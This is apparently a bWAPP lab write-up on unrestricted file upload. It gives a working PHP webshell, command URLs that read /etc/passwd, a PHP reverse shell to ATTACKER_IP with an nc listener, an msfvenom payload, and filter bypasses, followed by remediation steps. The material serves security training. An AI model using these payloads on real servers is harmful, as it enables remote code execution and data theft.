🧪 07 — Unrestricted File Upload

Unrestricted File Upload

OWASP: A05 - Security Misconfiguration | **CWE**: CWE-434 | **Severity**: 🔴 Critical

---

📖 Description

Unrestricted file upload vulnerabilities allow attackers to upload malicious files (like PHP webshells) to the server. If the uploaded file can be accessed via a URL and the server executes it, the attacker gains Remote Code Execution (RCE).

🔍 Affected Endpoint

```
http://localhost/bWAPP/unrestricted_file_upload.php
```

⚠️ Security Level: LOW

Behavior

No file type validation. Any file is accepted and stored.

PoC — Simple Webshell

```
<?php system($_GET['cmd']); ?>
```

Save as `shell.php`, upload via the form.

Access Webshell

```
http://localhost/bWAPP/images/shell.php?cmd=whoami
http://localhost/bWAPP/images/shell.php?cmd=cat+/etc/passwd
http://localhost/bWAPP/images/shell.php?cmd=ls+-la
```

PoC — Full Reverse Shell

```
<?php
// Upload this as shell.php
$ip = 'ATTACKER_IP';
$port = 4444;
$sock = fsockopen($ip, $port);
$proc = proc_open('/bin/bash -i', [0=>$sock, 1=>$sock, 2=>
$sock], $pipes);
?>
```

```
# Start listener
nc -lvnp 4444
# Then visit: http://localhost/bWAPP/images/shell.php
```

PoC — Msfvenom PHP Payload

```
msfvenom -p php/meterpreter/reverse_tcp LHOST=ATTACKER_IP L
PORT=4444 -f raw > shell.php
# Upload and use with Metasploit handler
```

⚠️ Security Level: MEDIUM

Defense Applied

MIME type check via `$_FILES['file']['type']` (client-controlled, easily bypassed).

Bypass — Intercept with Burp Suite

```
1. Upload shell.php normally
2. Intercept in Burp Suite
3. Change Content-Type header:
```

```
   Content-Type: image/jpeg
4. Forward request
5. Server accepts 'image' type and stores .php file
```

Bypass — Double Extension

```
Rename file: shell.php.jpg
Some servers execute .php regardless of additional extensio
n
```

Bypass — Null Byte (PHP < 5.3)

```
Filename: shell.php%00.jpg
```

⚠️ Security Level: HIGH

Defense Applied

- Server-side MIME type inspection using `finfo` or `getimagesize()`
- Extension whitelist (.jpg, .png, .gif only)
- File stored with random name

Bypass Attempts (limited)

```
# Polyglot file: Valid image + embedded PHP
# Use ExifTool to embed PHP in JPEG metadata
exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.jp
g -o shell.jpg.php

# Only works if server-side checks don't reprocess image
```

📊 Impact Analysis

Impact	Description
Remote Code Execution	Upload PHP shell, execute commands

Impact	Description
Full server takeover	Reverse shell access
Data theft	Read all server files
Persistence	Plant backdoor

✅ Remediation

1. **Whitelist extensions**: Only allow `.jpg`, `.png`, `.pdf` etc.
2. **Server-side validation**: Use `getimagesize()` or `finfo` for MIME
3. **Rename uploaded files**: Use random UUID filenames
4. **Store outside web root**: Files can't be executed if not accessible via URL
5. **Disable script execution in upload dir**: `AddHandler cgi-script .php .py` in .htaccess

```
# .htaccess in uploads folder
php_flag engine off
AddType text/plain .php .php3 .phtml
```

📚 References

- CWE-434: https://cwe.mitre.org/data/definitions/434.html
- OWASP File Upload: https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload